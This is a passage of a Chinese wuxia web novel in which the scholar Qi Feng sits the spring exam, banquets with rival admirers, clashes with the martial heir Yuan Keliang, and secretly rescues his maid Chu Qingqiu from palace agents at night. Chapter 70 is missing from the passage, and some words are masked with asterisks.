南宫玥站在齐枫身旁,朝楚清秋和小荷盈盈一礼,柔声道:“两位妹妹,今日多谢你们陪齐公子前来。改日小女子再设宴赔罪。”
小荷哼了一声,嘀咕道:“谁要你赔罪呀!”
楚清秋却只是点头,目光清冷。
齐枫笑着朝南宫玥拱手:“南宫姑娘,今日多谢款待,学生就先告辞了。”
南宫玥掩唇轻笑:“齐公子慢走,春闱顺利,小女子在醉月楼等你的好消息。”
齐枫带着楚清秋和小荷离开醉月楼,夜色深沉,府城的街道上灯火点点,摊贩的吆喝声已渐渐稀疏。
月光洒在青石板路上,映得三人的身影拉出长长的影子。
小荷提着灯笼,走在前面,依旧气鼓鼓地嘀咕:“少爷,你和南宫姑娘关在雅间那么久,真就只是聊诗词?哼,我才不信呢!”
齐枫哈哈一笑,正要调侃几句,却瞥见楚清秋的目光始终低垂,面纱下的神情看不真切。
他故意放慢脚步,与楚清秋并肩而行,笑道:“青禾,今日在府衙听卢大人说了龙佩之事,你怎么看?那乾朝余孽,会不会真藏在府城?”
楚清秋一怔,抬头看了他一眼,淡淡道:“少爷,龙佩之事非同小可,卢大人既已着手调查,定有眉目。少爷还是专心备考,莫要分心。”
齐枫挑眉,笑着点头:“你说得是,春闱要紧。走吧,回客栈温书去!”
三人沿着街道,朝客栈走去。
……
三天时光如白驹过隙,转瞬即逝。
齐枫这几日过得忙碌而充实,白天埋头于书肆翻阅策论集,夜里则常被赵明兰或南宫玥邀去醉月楼小聚。
赵明兰性子直爽,时不时拉着他逛街买笔墨,或是扯着他去茶肆听书。
南宫玥则温柔如水,每每在醉月楼设宴,琴音相伴,烛光摇曳,又是几场战斗发生。
楚清秋始终冷眼旁观,偶尔提醒齐枫莫要分心备考,却总感觉带着几分酸涩。
春闱之日终于到来。
清晨,府城南的考棚外人头攒动,各地士子身着青袍,手捧书卷。
考棚四周戒备森严,卫兵持刀巡逻,学政与主考官端坐高台,目光如炬,审视着每一位入场的考生。
齐枫一身青色长袍,束发整齐,神色从容,楚清秋和小荷送他至考棚入口。
楚清秋道:“少爷,考场规矩严苛,切莫大意。祝你旗开得胜。”
小荷则笑嘻嘻地挥手:“少爷,考个秀才回来!
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到时候我亲自给您做糖葫芦吃!”
齐枫笑着点头,朝两人摆手:“放心,本少爷心里有数。你们在外面等着,考完咱们一起去吃好吃的!”
说罢,他转身步入考棚。
考场内,考生们分坐木案前,笔墨纸砚一应俱全。
主考官一声令下,试卷发放,考场内顿时安静下来,齐枫展开试卷,目光扫过题目,经义,策论各占一半,涉及四书五经。
前世身为医武通神的高手,齐枫的记忆早已过目不忘,任何书卷典籍只要扫过一眼,便能铭记于心。
他提笔挥毫,行云流水,不到两个时辰,他便答完试卷,检查一遍后,率先交卷,起身离场。
考棚外,楚清秋和小荷早已等候多时。
见齐枫出来,小荷兴奋地跳起来:“少爷!这么快就出来了?考得怎么样?是不是特简单?”
齐枫笑着敲了敲她的头:“你这丫头,考场的事哪有简单的?不过还算顺利,三日后揭榜,自然见分晓。”
楚清秋目光柔和,点了点头:“少爷辛苦了,先回客栈歇息吧。”
话音未落,身后传来一个娇俏的声音:“齐枫!你考完了?快说说,考得怎么样?”
赵明兰一身鹅黄罗裙,风风火火地跑过来,杏眼亮晶晶地盯着他,身后还跟着几个随从。
齐枫挑眉,笑道:“赵小姐消息够灵通啊!刚出考场你就来了。考得如何,三日后揭榜便知,现在说可没意思。”
赵明兰哼了一声,叉腰道:“少来这套!本小姐看你这笑眯眯的模样,八成是胸有成竹!走,考完了就该放松放松,我请你去茶肆喝茶!”
正说着,又一阵轻盈的脚步声传来,南宫玥一袭白裙,宛如仙子,手中折扇轻摇,款款走来。
她朝齐枫盈盈一礼,柔声道:“齐公子,春闱辛苦,考得如何?小女子在醉月楼备了薄宴,想为公子接风洗尘,不知可否赏脸?”
齐枫哭笑不得,刚要开口,身后又传来两道熟悉的声音:“齐兄!考得如何?看你这神色,怕是稳了!”
第六十九章 找茬
陈玉堂和徐远一左一右走了过来,脸上都带着笑意。
齐枫拱手笑道:“陈兄,徐兄,你们俩怎么没去考场?春闱可是功名正途,怎的不试试?”
陈玉堂摆摆手,哈哈一笑:“齐兄,我陈家世代经商,功名这东西对我可有可无。作诗弄词,吃喝玩乐才合我心意!”
徐远也冷哼一声,抱胸道:“徐氏家大业大,我何必去挤那独木桥?春闱规矩多,考场坐一天,烦都烦**!还是齐兄你有这耐心!”
齐枫笑着摇头,正要调侃几句,却见周子陵也从考棚方向走了过来,锦袍上沾了些墨迹,脸上却带着几分洒脱的笑意。
“周兄?你也去考了?”齐枫有些意外,拱手道,“怎么样,考得如何?”
周子陵摆摆手,苦笑道:“齐兄,别提了!我就是去凑个热闹,随手写了几笔,估摸着是没戏。春闱这东西,果然不是我擅长的,还是诗会更合我胃口!”
齐枫哈哈一笑,拍了拍他的肩:“周兄洒脱!考不考无所谓,府城这么热闹,咱们找个地方喝一杯,聊聊诗词如何?”
南宫玥掩唇轻笑,接口道:“齐公子说得是,醉月楼今日备了新酒,诸位若有兴致,不如同去小酌几杯,聊聊春闱趣闻?”
赵明兰一听,立马不乐意了,瞪了南宫玥一眼:“喂,南宫玥,又是你!本小姐还没说请齐枫去哪儿呢,你就抢先了?”
南宫玥折扇轻摇,柔声道:“赵小姐何必动气?醉月楼地方大,诸位一起热闹些。齐公子考完春闱,定要放松一番,小女子不过是尽地主之谊。”
陈玉堂和徐远对视一眼,纷纷起哄:“齐兄好福气!两位美人争相请客,府城谁能比得上?走走走,去醉月楼!”
齐枫哭笑不得,摆手道:“诸位,别争了!醉月楼也好,茶肆也罢,咱们一起去热闹热闹,考完试总得放松一下!”
一行人说笑着,朝醉月楼走去。
街道上人来人往,春闱的紧张气氛还未完全散去,士子们三三两两讨论着考题,摊贩们则趁机吆喝,推销笔墨纸砚。
醉月楼内,掌柜早得了南宫玥的吩咐,备好了一间宽敞的雅间,圆桌上摆满了珍馐佳肴,酒香四溢。
众人落座,推杯换盏,气氛渐渐热烈。
南宫玥亲自为齐枫斟酒,柔声道:“齐公子,今日春闱,想必是游刃有余。小女子先敬你一杯,祝你金榜题名!”
赵明兰不甘示弱,端起酒杯,哼道:“齐枫,本小姐也敬你一杯!你要是考中秀才,本小姐给你个惊喜!”
陈玉堂和徐远也纷纷举杯,笑道:“齐兄,春闱若高中,咱们可得好好为你庆功!”
周子陵则苦笑着摇头:“你们就别刺激我了!我这考场一趟,算是白跑。齐兄,回头你得教我几首好诗,给我找回点面子!”
齐枫笑着应对,酒杯轻碰,目光却不经意扫向楚清秋。
她坐在一旁,面纱遮住了表情,目光清冷,像是早已魂游太虚,不知道在想些什么。
酒过三巡,雅间内笑声不断,众人聊着春闱的趣闻轶事,气氛推向高潮。
就在此时,隔壁一桌突然传来一声怒喝,打破了热闹的气氛:“吵**!一群书生在这儿嚷嚷什么?!”
声音冷厉,带着几分不耐,像是从隔壁雅间传来的。
齐枫一愣,眉头微皱,目光扫向雕花木窗的方向。
他尚未开口,周子陵、陈玉堂和徐远却已按捺不住,纷纷拍案而起。
周子陵率先开口,锦袍一甩,怒道:“哪来的莽夫,敢在这醉月楼大放厥词?我们在这儿喝酒谈诗,碍着谁了?有种出来说清楚!”
陈玉堂也不甘示弱,瞪着木窗方向:“就是!这醉月楼是府城雅地,轮得到谁在这儿吆五喝六?隔壁的,报个名号,别藏头露尾!”
徐远冷笑一声,抱胸道:“瞧这口气,怕不是哪个不长眼的纨绔,以为自己有点家世就敢在这儿撒野?有本事出来,咱们比划比划!”
赵明兰杏眼一瞪,拍桌道:“你们几个嚷
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什么?本小姐还没说话呢!隔壁的,吵什么吵?没见我们在这儿庆祝齐枫春闱吗?”
南宫玥柔声道:“诸位稍安勿躁,隔壁不过是一时不快,何必动气?齐公子,你说呢?”
齐枫刚要开口,隔壁雅间的雕花木门“吱呀”一声被推开,一阵沉稳的脚步声传来,伴随着一股凌厉的气势。
众人循声望去,只见一个身着黑色武者装的年轻男子缓步走出,步伐稳健,气势如刀。
此人身形挺拔,眉宇间透着几分桀骜,黑色劲装勾勒出精壮的体型,腰间系着一柄短刀,刀鞘上雕刻着复杂的云纹,隐隐透着寒光。
他的面容冷峻,眼神如鹰,扫过雅间众人时,带着几分不屑。
齐枫目光一凝,心头微动。
周子陵,陈玉堂和徐远的脸色同时一变,像是认出了来人,齐齐闭口不言。
赵明兰杏眼微眯:“袁克良?怎么是他?”
南宫玥折扇轻停,目光落在来人身上,柔声道:“原来是袁氏的克良公子,失敬。”
齐枫挑眉,朝南宫玥低声问道:“袁克良?府城四大家族之一的袁氏?”
南宫玥微微点头道:“正是。袁氏以武立家,府城四大家族中最为尚武,家中子弟多习武艺,袁克良更是袁氏年轻一代的佼佼者,传闻他一手刀法出神入化,性子却桀骜不驯,最不喜文人墨客的诗词歌赋。”
齐枫闻言,嘴角微微上扬。
有趣,袁氏的武者,倒是与陈氏,徐氏,周氏的风格大不相同。
袁克良站在雅间门口,目光冷冷扫过众人,最终落在周子陵身上,冷哼道:“周子陵,你方才叫嚣什么?说我藏头露尾?醉月楼是雅地不假,可你们这群书生在这儿吆喝诗词,吵得人不得清静,真当自己是府城的主人了?”
周子陵被他气势压得一滞,强撑着回道:“袁克良,我们在这儿喝酒谈笑,碍着你什么了?你若不喜,大可换个地方,何必在这儿找茬?”
气氛一时剑拔**张。
第七十一章 论女人当帝
南宫玥也掩唇柔声道:“袁公子,息怒。齐公子乃才子,武艺非其所长,你何不与他比试诗词?若论刀法,怕是无人能及袁氏。”
围观众人议论纷纷,纷纷指责袁克良。
“这袁克良也太不讲理了!齐公子刚考完春闱,他却在这儿挑事!”
“袁氏尚武,可也不能这么欺人太甚!齐公子可是青田县的大才子,怎能与他比武?”
“啧啧,袁克良这回可丢脸了,连个女子都挡住了他的刀!”
袁克良脸色青一阵白一阵,刀尖微微下垂,目光死死盯着楚清秋,又扫向齐枫,冷笑道:“齐枫,你就只会躲在女人身后?青田县的大才子,也不过是个缩头乌龟!”
齐枫闻言,缓缓上前一步,将楚清秋护在身后,笑道:“袁公子好大的火气!在下不过一介书生,舞刀弄枪的确不如袁氏子弟。可袁公子若不服气,何不与在下比试诗词?若论武艺,袁公子以强凌弱,怕是胜之不武吧?”
此言一出,众人哄笑起来。
周子陵拍案叫好:“说得好!齐兄,袁克良若敢跟你比诗词,定被你杀得片甲不留!”
陈玉堂也挤眉弄眼道:“就是!袁克良,你若有胆,作首诗出来,让我们见识见识袁氏的文采!”
徐远哈哈一笑:“袁氏的文采?怕是连个对子都对不齐!齐兄随手一首诗就能让他无地自容!”
赵明兰叉腰道:“齐枫,你别理这莽夫!他袁氏再强,也不过是个舞刀弄枪的粗人,哪比得上你的才华?”
袁克良被众人你一言我一语挤兑得脸色铁青,刀尖一颤,似要再次出手,却听南宫玥柔声道:“袁公子,诸位不过是酒后戏言,何必当真?齐公子春闱刚过,袁公子若再咄咄逼人,怕是要落个欺弱的名声。”
袁克良目光扫过齐枫,咬牙道:“齐枫,今日有女人护着你,算你走运!但你给我听着,府城不是你的青田县,你最好别再惹我袁氏,否则,哼!”
他收刀入鞘,狠狠瞪了齐枫一眼,转身大步回到自己的雅间,重重关上门。
雅间内的气氛稍稍缓和,众人却依旧议论纷纷。
赵明兰拍桌道:“这袁克良,真是嚣张得没边了!齐枫,你别理他,他就是个莽夫!”
陈玉堂点头道:“就是!齐兄,你的才华府城无人不知,这袁克良不过是嫉妒罢了!”
徐远冷笑:“当然是嫉妒,他袁氏再强,也不过是个武夫!齐兄若与他比诗,保管让他羞愧得无地自容!”
南宫玥朝齐枫道:“齐公子,袁公子性子刚烈,今日之事,你莫要放在心上。来,喝杯酒,压压惊。”
齐枫笑着摆手,端起酒杯:“多谢诸位仗义执言,袁公子不过是酒后失态,在下不怪他。来,咱们继续喝!”
楚清秋回到齐枫身旁,目光微微柔和,低声道:“少爷,袁氏不可小觑,今后在府城行走,需得小心。”
小荷则瞪大眼睛,兴奋道:“青禾姐姐,你方才那一手太厉害了!那袁克良的刀都被你挡住了!少爷,你说是不是?”
齐枫哈哈一笑,拍了拍小荷的头:“你青禾姐姐自然有她的本事,不过今日之事,多亏了大家帮忙。来,这杯酒我敬诸位!”
众人举杯,气氛重新热络起来。酒过三巡,周子陵突然凑近齐枫,压低声音,神神秘秘道:“齐兄,我方才听闻,京城来了几个人,住在袁氏,怕是来头不小!”
齐枫闻言,挑了挑眉,目光扫向周子陵:“京城来的几个人?住在袁氏?周兄,这消息可不简单,说说看,他们是何来头?来府城做什么?”
周子陵端起酒杯,抿了一口,压低声音道:“齐兄,这事我也是听家中长辈提了一嘴,具体不太清楚。不过据说这几人从京城来,身份不低,住在袁氏,怕是为了乾朝余孽的事。袁氏尚武,府城四大家族中与京城的联系最深,估计是得了什么密令。”
齐枫目光
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微闪,折扇缓缓合拢,笑道:“乾朝余孽?卢大人前几日在府衙也提过,说皇宫丢了碧玺龙佩,怀疑是乾朝余党所为。莫非这京城来人,也是为了这事?”
周子陵点点头,神色凝重:“**不离十,乾朝虽已覆灭,但余孽一直未绝,尤其是那碧玺龙佩,传闻是乾朝皇室的至宝,内藏玄机,若真被余孽盗走,怕是要掀起不小的风波。”
陈玉堂闻言,皱眉道:“乾朝?哼,提起这乾朝,我倒是听家中长辈说过,当年那女帝上位才半年,就把国家弄得乌烟瘴气,最后**,真是丢尽了皇家的脸面!”
徐远冷笑一声,接口道:“就是!一个女人当皇帝,本身就是荒唐事。乾朝那会儿,内有权臣把持朝政,外有强敌虎视眈眈,女帝又是个年轻女子,哪有治国的本事?国家毁在她手里,活该**!”
赵明兰一听,杏眼瞪圆,拍桌道:“陈玉堂,徐远,你们俩少在这儿胡说八道!乾朝女帝虽是女子,可她上位时才十八岁,乾朝早已是内忧外患,积弊深重,换谁当皇帝都救不了!你们把**全怪在她头上,未免太不公平!”
南宫玥掩也柔声道:“赵小姐说得有理。乾朝女帝虽在位不久,但据说她才华横溢,琴棋书画样样精通,治国策论也颇有见地。若非朝中权臣作乱,她未必不能力挽狂澜。**之因,怎能全怪一个女子?”
楚清秋站在齐枫身旁,闻言手指微微一紧,面纱下的目光闪过一丝复杂的神色,似有触动,却又迅速掩去。
她毫无波澜道:“乾朝之事,早已成历史,诸位何必争论?乾朝覆灭,成王败寇罢了。”
小荷在一旁眨了眨眼,悄悄扯了扯楚清秋的袖子:“青禾姐姐,你这话怎么怪怪的?莫不是你也觉得那女帝挺可怜的?”
楚清秋瞪了她一眼,淡淡道:“休要胡说,我不过随口一言。”
齐枫目光扫过楚清秋,见她神色微妙,心头一动。
第七十二章 劲爆的消息
来到这个世界后,齐枫对乾朝的秘辛也略有耳闻,女帝之事虽多有传闻,但真相却如云雾缭绕,难以捉摸。
他若有所思地点点头,端起酒杯,笑道:“诸位,乾朝之事各有评说,咱们这些后人争来争去也无甚意义。乾朝女帝或许有她的难处,**之因也非一人之过。来,喝酒,今日是为春闱小聚,莫让这些陈年旧事坏了兴致!”
陈玉堂哈哈一笑,举杯道:“齐兄说得是!乾朝的事,跟咱们何干?来,喝了这杯,祝齐兄春闱高中,金榜题名!”
徐远也举杯附和:“不错!齐兄诗才无双,春闱定能一鸣惊人!来,干杯!”
赵明兰哼了一声,瞪了陈玉堂和徐远一眼:“你们俩少在这儿转移话题!女帝的事,你们刚才说得那么难听,回头本小姐得好好跟你们算账!”
南宫玥轻笑道:“赵小姐何必动气?陈公子和徐公子不过是酒后戏言。齐公子,你说呢?”
齐枫笑着摆手:“南宫姑娘说得对,酒桌上说说笑笑,图个热闹罢了。乾朝女帝的事,早已是前尘往事,咱们还是聊聊眼下的府城热闹吧。”
周子陵点头,接过话头:“齐兄说得有理!不过说起乾朝,我还想起一桩传闻。听说那女帝在位时,曾亲自修订过一部策论集,文采斐然,连当时的翰林学士都自叹不如。若她真是个无能之辈,怕也写不出那样的策论。”
赵明兰眼睛一亮,拍手道:“对对对!我爹也说过,女帝的策论集至今还在府衙藏书阁里,写得头头是道!要我说,她若不是生在乱世,定能做个明君!”
陈玉堂撇撇嘴:“哼,策论写得好又如何?治国可不是光靠文章!乾朝那会儿,权臣当道,地方豪强割据,她一个女子,能压得住谁?”
徐远冷哼一声:“就是!女人当皇帝,本身就是笑话!还不是靠着裙带关系才上位的?听说她父皇死得早,皇位无人继承,才轮到她!”
赵明兰气得拍桌:“徐远,你再胡说八道,信不信本小姐揍你!女帝十八岁登基,内忧外患,她能坚持半年,已是不易!你们这些男人,就会嘴上逞能!”
南宫玥轻轻一笑道:“赵小姐说得有理。女帝在位时,的确推行过几项新政,试图重振朝纲,可惜时不我待,乾朝气数已尽。她的才华,倒是让人敬佩。”
楚清秋站在一旁,目光微微低垂,手指无意识地绞紧衣角,似在压抑着什么。
齐枫敏锐地察觉到她的异样,他不动声色,端起酒杯,笑道:“行了诸位,女帝之事,众说纷纭,咱们也莫要争了。乾朝覆灭,早已成历史,倒是这京城来人,怕是要在府城掀起些风波。周兄,你方才说他们住在袁氏,可还有别的消息?”
周子陵摇摇头,苦笑道:“齐兄,我知道的也不多。袁氏向来与京城联系紧密,这次京城来人,估计是得了圣上的密令,专门为碧玺龙佩的事,袁克良方才那副嚣张模样,怕是也与这些京城来客有关。”
陈玉堂皱眉道:“袁氏尚武,京城来人找他们,八成是为了追查乾朝余孽,齐兄,你在府城可得小心,别被袁克良那莽夫找麻烦!”
徐远冷哼一声:“哼,袁克良算什么?若不是仗着袁氏的武艺,他敢在醉月楼撒野?齐兄,你若考中秀才,名声大噪,保管压他一头!”
赵明兰哼道:“就是!齐枫,你春闱定能高中,到时候看那袁克良还敢不敢嚣张!”
南宫玥道:“齐公子才华横溢,春闱必能金榜题名。袁公子不过是性子刚烈,诸位不必放在心上。”
齐枫笑着摆手:“多谢诸位抬爱,春闱结果还未揭晓,咱们还是先喝酒,待三日后揭榜,再说其他!”
众人举杯,笑声重新响彻雅间。
楚清秋站在一旁,目光却始终带着几分复杂,小荷凑到她耳边:“青禾姐姐,你今晚怎么怪怪的?是不是觉得那女帝的事挺有意思?”
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楚清秋摇摇头:“少胡说,喝酒吧。”
酒过三巡,雅间内的气氛渐渐恢复了热络。
众人推杯换盏,聊着府城的趣闻轶事,笑声不断。
赵明兰不时拉着齐枫说些书院的趣事,南宫玥则柔声与他讨论诗词,惹得陈玉堂和徐远挤眉弄眼。
周子陵突然压低声音,神神秘秘道:“齐兄,我还听说了个消息,乾朝那女帝,听说至今还未被抓到,一直在外逃亡!”
这话如同一颗石子投入平静的湖面,激起众人心中的涟漪。
雅间内的笑声戛然而止,所有人的目光齐刷刷地落在周子陵身上,带着震惊。
乾朝女帝,逃亡在外?这消息太过劲爆,足以让在场众人忘了方才的酒兴,纷纷凑近,迫不及待地想要听个究竟。
赵明兰杏眼瞪圆,拍桌道:“周子陵,你这话什么意思?女帝逃亡在外?真的假的?她不是早就被……”
她顿了顿,压低声音,“被圣上处置了吗?”
周子陵摆摆手,神秘兮兮地瞥了眼四周,确认无人偷听,才低声道:“赵小姐,这事可不能乱说!我也是听家中长辈提过一嘴,乾朝覆灭时,女帝并未被擒,而是带着几个亲信逃出皇宫,至今下落不明。听说她武艺不凡,当年登基前曾在江湖上闯荡过,颇有些传奇事迹!”
陈玉堂皱眉,端着酒杯道:“武艺不凡?一个女子,能有多大本事?乾朝**时,她才十八岁,能有多高的武功?怕是传闻夸大了吧!”
徐远冷笑一声,接口道:“就是!女帝再怎么厉害,也不过是个女人,逃亡在外,估计早就被抓了,周兄,你这消息怕是道听途说!”
赵明兰不乐意了,叉腰道:“徐远,你又在这儿胡说八道!女帝若没本事,能在乾朝那种乱世里坚持半年?听说她曾亲自带兵平乱,手刃过叛将,武艺怎会差?你们这些男人,就是看不起女子!”
她说着,恨恨的瞪着徐远。
第七十三章 谁说女子不如男
南宫玥也附和道:“赵小姐说得有理。乾朝女帝的传闻,醉月楼也听过不少。据说她年少时曾拜过一位江湖异人为师,**得一身好武艺,刀法尤其出众,连宫中的禁军统领都不是她对手。**后,她能带着亲信逃出重围,足见其能耐。”
齐枫闻言,目光扫过众人,若有所思地点点头。
他对江湖秘辛略知一二,乾朝女帝的传闻虽多,但多半语焉不详,如今听周子陵提起,她竟还在逃亡,倒是让他心头微动。
他瞥了眼楚清秋,见她站在一旁,毫无波澜。
周子陵见众人兴致高涨,索性放下酒杯,继续道:“你们别不信!女帝逃亡的事,京城早有风声,圣上震怒,人没抓到,就连龙佩都丢了,袁氏这次接待京城来人,估计就是为了追查她们二者的下落。”
陈玉堂皱眉道:“莫非这龙佩是女帝偷的?她一个**之君,有这本事?还敢拿着这东西四处跑?”
徐远冷哼:“若真在她手里,早就被抓了!我是不信!”
赵明兰瞪了他一眼:“徐远,你就知道唱反调!女帝若没本事,能逃这么多年?要我说,她才是真英雄!”
南宫玥柔声道:“赵小姐说得不无道理。女帝若无过人之处,怎能在乱世中存活至今?”
齐枫听着众人的讨论,端起酒杯,抿了一口,笑道:“诸位,女帝之事,传闻多过真相。碧玺龙佩既然如此重要,圣上既已下令追查,迟早会有水落石出的一天。咱们还是喝酒,莫让这些前朝旧事坏了兴致。”
陈玉堂哈哈一笑,举杯道:“齐兄说得是!女帝再厉害,也跟咱们没关系!来,喝了这杯,祝齐兄春闱高中!”
徐远也举杯附和:“不错!齐兄的才华,府城无人能及,春闱定能金榜题名!来,干杯!”
赵明兰又哼了一声,瞪了徐远一眼:“你少拍马屁!齐枫,你也少听这些马屁!”
齐枫笑着摆手:“诸位盛情,在下感激不尽。春闱结果还未揭晓,咱们先喝酒,三日后揭榜再说!”
众人举杯,笑声重新响彻雅间。
楚清秋站在一旁,面纱下的神情让人捉摸不透。
小荷凑到她耳边,低声问道:“青禾姐姐,你今晚怎么老走神?是不是觉得女帝的事挺有意思?”
楚清秋瞪了她一眼:“莫要胡说,喝酒吧。”
酒过三巡,夜色已深,雅间内的气氛渐渐缓和。
众人聊着府城的趣闻轶事,齐枫应对自如,谈笑风生。
眼看时候不早,齐枫起身道:“诸位,今日春闱刚过,在下有些乏了,就先告辞了。三日后揭榜,咱们再聚!”
赵明兰嘟着嘴:“这么早就走?本小姐还没喝够呢!算了,你春闱辛苦,早点回去歇着吧!”
南宫玥柔声道:“齐公子慢走,春闱顺利,小女子在醉月楼等你的好消息。”
陈玉堂和徐远也纷纷起身,拱手道:“齐兄,保重!揭榜之日,咱们再为你庆功!”
周子陵笑着拍了拍齐枫的肩:“齐兄,回去好好歇着,揭榜那天,我等着喝你的喜酒!”
齐枫哈哈一笑,带着楚清秋和小荷离开醉月楼。
夜色深沉,府城的街道上灯火点点。
回到客栈,齐枫沐浴更衣,躺在榻上,闭上眼睛准备歇息。
今日春闱耗费了不少心神,又在醉月楼与众人推杯换盏,他虽前世医武通神,精力远超常人,此刻也有些疲惫。
客栈内安静下来,只有窗外偶尔的虫鸣与风声。
就在他将要入睡之际,窗外突然传来几声清脆的鸟鸣,在夜色中显得格外刺耳。
齐枫猛地睁开眼,酒意全消,耳朵微微一动,听到隔壁楚清秋的房间传来一阵轻微的衣物摩擦声,似是她起身下地。
又是这鸟鸣!上次听过一次,青禾便匆匆离去,莫非今晚又有异动?
齐枫悄无声息地翻身下榻,推开房门,站在走廊上,目光扫向楚清秋的房间方向。
齐枫犹豫片刻,决定跟
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上去一探究竟。
他身形一闪,悄无声息地掠出客栈,宛如一道影子,紧紧跟在楚清秋身后。
府城的街道在深夜显得格外安静,月光洒在青石板路上,楚清秋一袭夜行衣,面巾将脸遮了个严严实实,步伐轻盈迅疾,像是对周围的环境了如指掌。
齐枫远远跟在后方,凭借前世的绝顶轻功,始终保持着不被察觉的距离。
他目光如炬,观察着楚清秋的每一个动作,心中却不由得泛起一丝复杂。
每个人都有自己的秘密,他到底要不要跟下去呢?
楚清秋穿过几条巷子,来到一处僻静的街角。
齐枫隐在暗处,屏息凝神,忽见一道黑影从对面的屋檐下跃出,落在楚清秋身前。
那人一身黑衣,头戴斗笠,面容隐藏在阴影中,身形矫健,气息沉稳,显然是个高手。
楚清秋停下脚步,与黑衣人对视片刻,低声说了几句,声音太轻,齐枫即便耳力惊人也听不清内容。
他眉头微皱,正犹豫是否要靠近一探究竟,忽觉身后传来几道微不可察的气息。
齐枫心头一凛,转头扫去,只见三四个身影从远处巷口闪出,动作迅捷,气息内敛,个个都是练家子。
这些人不简单,气息沉稳,步伐如风,怕是江湖上的一流高手。
楚清秋与黑衣人交谈片刻后,转身朝城外走去,黑衣人紧随其后。
那三四个身影也悄然跟上,动作隐秘,显然不想被发现。
齐枫心念电转,决定继续跟踪,他身形如鬼魅,借着夜色的掩护,远远跟在众人身后,始终保持着不被察觉的距离。
一行人很快出了府城,来到城郊一处荒凉的林间空地。
月光透过稀疏的树影洒下,地上斑驳的光影摇曳。
楚清秋与黑衣人停在一棵老槐树下交谈,语气急促,似乎在商议什么要事。
齐枫隐在一棵古树后,目光如炬,仔细观察。黑衣人身形瘦削,斗笠下的声音缓缓传来。
第七十四章 楚清秋遇险
“龙佩下落……有眉目,但袁氏已开始行动,京城来人,恐非善类,你需尽快……”
楚清秋声音清冷,打断道:“此事我自有分寸。你只管传递消息,莫要多问。袁氏那边,我会留心。”
黑衣人点点头,正要再开口,忽听林间传来一阵冷笑,紧接着三四个身影从暗处跃出,将楚清秋与黑衣人团团围住。
为首一人身着灰袍,面容冷峻,手中握着一柄长剑,剑鞘上刻着繁复的花纹,隐隐透着寒光。
其余三人则身着劲装,手持刀棍,气势凌厉,显然训练有素。
灰袍人冷笑道:“好一出深夜密会!楚姑娘,深夜与人私会,莫非是在商议如何藏匿碧玺龙佩?圣上命我等追查余孽,果然不出所料!”
楚清秋目光一寒,面纱下的神情看不真切,声音却冷如冰霜:“几位深夜跟踪,意欲何为?若为龙佩而来,怕是要失望了。”
黑衣人斗笠下的目光一沉:“楚姑娘,速走,我来挡住他们!”
他手腕一翻,一柄短匕从袖中滑出,寒光一闪,摆出迎敌的架势。
灰袍人冷哼一声,剑尖一扬:“想走?没那么容易!胆敢盗取龙佩,今日一个也别想跑!”
他身形一动,剑光如虹,直刺楚清秋。
其余三人也不甘示弱,刀棍齐出,配合默契,封住了楚清秋与黑衣人的退路。
黑衣人身形一晃,**舞得密不透风,挡下了一人的刀势,却被另一人的铁棍逼得连退数步。
楚清秋袖袍轻挥,暗劲涌出,将灰袍人的剑势偏开,动作轻灵,却显是有所保留。
齐枫隐在暗处,目光微凝。
这些人是京城的追兵,武艺不俗,配合严密,楚清秋虽有身手,但不想暴露实力,怕是要吃亏。
他正欲出手相助,却又迟疑了一下。
灰袍人见楚清秋应对自如,眼中闪过一丝怒意,冷喝道:“楚姑娘,你若束手就擒,交出龙佩,或许还能留你一命!否则,休怪我等无情!”
楚清秋冷笑:“龙佩不在我这儿,几位若是执意纠缠,怕是要空手而归。”
她身形一转,袖中暗劲再出,将一名劲装人的铁棍震开,动作轻盈如燕,却始终未使出全力。
黑衣人则咬牙苦撑,**与对手的刀光碰撞,火星四溅,口中低喝:“楚姑娘,莫恋战,速走!”
他猛地一跃,**划出一道寒光,逼退一人,却被灰袍人的剑气擦中肩头,闷哼一声,踉跄退后。
灰袍人剑光如虹,招招狠辣,似要将楚清秋与黑衣人置于死地。
其余三名劲装人配合默契,刀棍齐出,封锁了所有退路!
黑衣人猛地一跃,**划出一道弧光,想要逼退对手,却被灰袍人再度一剑刺中手臂,闷哼一声,踉跄倒地。
楚清秋目光一寒,身形如燕,足尖点地,避开一名劲装人的刀势,袖中暗器飞出,细如牛毛的银针直射对方咽喉。
那劲装人反应极快,铁棍一横,挡下银针,却被楚清秋趁机欺近,掌风拍出,正中其胸口。
劲装人闷哼一声,退后两步,嘴角溢出一丝血迹。
灰袍人见状,怒喝道:“好个余孽,果然有几分本事!今日定要将你擒回京城!”
他剑法骤变,剑光如网,笼罩楚清秋周身,招式狠辣,毫无留手之意。
另两名劲装人配合无间,一人挥刀斩向楚清秋下盘,一人铁棍直取她后背,攻势如潮,逼得她连连闪避。
黑衣人挣扎起身,**勉强挡住一记刀光,却被铁棍重重砸在肩头,骨骼发出脆响,整个人摔倒在地,气喘如牛。
楚清秋见状,眼中闪过一丝焦急,袖中暗劲再出,将一名劲装人震退,想要冲到黑衣人身旁,却被灰袍人的剑光逼回,只能咬牙苦撑。
齐枫隐在古树后,目光如炬,观察着场中局势。
楚清秋身手不凡,但明显有所保留,未使出全力,而黑衣人伤势渐重,已无力再战。
京城来的四名大内高手配合默契,武艺高强,若再拖下去,楚清秋恐难脱身。
齐枫心头一沉,摇摇头暗道,青禾不愿暴露实力,怕是有她的顾虑,但这些大内高手来势汹汹,绝非善类,绝不能让她落入险境!
他目光一扫,脚边恰有一块拳头大小的石子。
他屈指一弹,内劲暗吐,石子如流星般激-射而出,直奔灰袍人持剑的手腕。
灰袍
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人正全力进攻,毫无防备,只听“咔”一声脆响,手腕骨骼断裂,长剑脱手飞出,钉在地上。
他痛呼一声,踉跄退后,惊怒交加:“谁?谁暗中偷袭?”
楚清秋趁机反击,袖中银针再出,逼退一名劲装人,掌风拍向另一人胸口。
那劲装人挥刀格挡,却被她暗劲震得手臂发麻,刀势一滞。
黑衣人咬牙爬起,**刺向最后一名劲装人的腿部,逼得对方后退一步。
齐枫见状,又拾起两块石子,屈指连弹,内劲精准无比,一块石子击中一名劲装人的膝盖,骨裂声清晰可闻,那人惨叫一声,单膝跪地。
另一块石子砸向另一人的肩头,铁棍脱手飞出,砸在树干上,震得树叶簌簌落下。
四名大内高手瞬间乱了阵脚,灰袍人捂着手腕,怒吼道:“暗中鼠辈,滚出来!”
楚清秋目光一闪,趁乱欺近灰袍人,掌风如刀,拍向他胸口。
灰袍人强忍剧痛,单手拔出腰间短刀,试图格挡,却被楚清秋一掌震飞,撞在树干上,口吐鲜血,气息萎靡。
